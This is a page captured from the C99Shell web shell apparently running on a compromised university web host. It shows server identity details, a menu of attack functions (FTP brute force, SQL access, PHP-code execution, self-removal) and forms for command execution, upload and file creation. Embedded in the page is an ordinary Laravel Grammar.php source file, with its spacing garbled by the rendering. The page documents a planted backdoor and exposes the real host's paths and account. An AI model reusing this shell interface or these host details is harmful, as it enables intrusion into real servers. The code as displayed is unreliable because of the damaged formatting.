!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Database/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Grammar.php (4.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Database;

use 
Illuminate\Database\Query\Expression;

abstract class 
Grammar
{
    
/**
     * The grammar table prefix.
     *
     * @var string
     */
    
protected $tablePrefix '';

    
/**
     * Wrap an array of values.
     *
     * @param  array  $values
     * @return array
     */
    
public function wrapArray(array $values)
    {
        return 
array_map([$this'wrap'], $values);
    }

    
/**
     * Wrap a table in keyword identifiers.
     *
     * @param  \Illuminate\Database\Query\Expression|string  $table
     * @return string
     */
    
public function wrapTable($table)
    {
        if (
$this->isExpression($table)) {
            return 
$this->getValue($table);
        }

        return 
$this->wrap($this->tablePrefix.$tabletrue);
    }

    
/**
     * Wrap a value in keyword identifiers.
     *
     * @param  \Illuminate\Database\Query\Expression|string  $value
     * @param  bool    $prefixAlias
     * @return string
     */
    
public function wrap($value$prefixAlias false)
    {
        if (
$this->isExpression($value)) {
            return 
$this->getValue($value);
        }

        
// If the value being wrapped has a column alias we will need to separate out
        // the pieces so we can wrap each of the segments of the expression on it
        // own, and then joins them both back together with the "as" connector.
        
if (strpos(strtolower($value), ' as ') !== false) {
            
$segments explode(' '$value);

            if (
$prefixAlias) {
                
$segments[2] = $this->tablePrefix.$segments[2];
            }

            return 
$this->wrap($segments[0]).' as '.$this->wrapValue($segments[2]);
        }

        
$wrapped = [];

        
$segments explode('.'$value);

        
// If the value is not an aliased table expression, we'll just wrap it like
        // normal, so if there is more than one segment, we will wrap the first
        // segments as if it was a table and the rest as just regular values.
        
foreach ($segments as $key => $segment) {
            if (
$key == && count($segments) > 1) {
                
$wrapped[] = $this->wrapTable($segment);
            } else {
                
$wrapped[] = $this->wrapValue($segment);
            }
        }

        return 
implode('.'$wrapped);
    }

    
/**
     * Wrap a single string in keyword identifiers.
     *
     * @param  string  $value
     * @return string
     */
    
protected function wrapValue($value)
    {
        if (
$value === '*') {
            return 
$value;
        }

        return 
'"'.str_replace('"''""'$value).'"';
    }

    
/**
     * Convert an array of column names into a delimited string.
     *
     * @param  array   $columns
     * @return string
     */
    
public function columnize(array $columns)
    {
        return 
implode(', 'array_map([$this'wrap'], $columns));
    }

    
/**
     * Create query parameter place-holders for an array.
     *
     * @param  array   $values
     * @return string
     */
    
public function parameterize(array $values)
    {
        return 
implode(', 'array_map([$this'parameter'], $values));
    }

    
/**
     * Get the appropriate query parameter place-holder for a value.
     *
     * @param  mixed   $value
     * @return string
     */
    
public function parameter($value)
    {
        return 
$this->isExpression($value) ? $this->getValue($value) : '?';
    }

    
/**
     * Get the value of a raw expression.
     *
     * @param  \Illuminate\Database\Query\Expression  $expression
     * @return string
     */
    
public function getValue($expression)
    {
        return 
$expression->getValue();
    }

    
/**
     * Determine if the given value is a raw expression.
     *
     * @param  mixed  $value
     * @return bool
     */
    
public function isExpression($value)
    {
        return 
$value instanceof Expression;
    }

    
/**
     * Get the format for database stored dates.
     *
     * @return string
     */
    
public function getDateFormat()
    {
        return 
'Y-m-d H:i:s';
    }

    
/**
     * Get the grammar's table prefix.
     *
     * @return string
     */
    
public function getTablePrefix()
    {
        return 
$this->tablePrefix;
    }

    
/**
     * Set the grammar's table prefix.
     *
     * @param  string  $prefix
     * @return $this
     */
    
public function setTablePrefix($prefix)
    {
        
$this->tablePrefix $prefix;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0137 ]--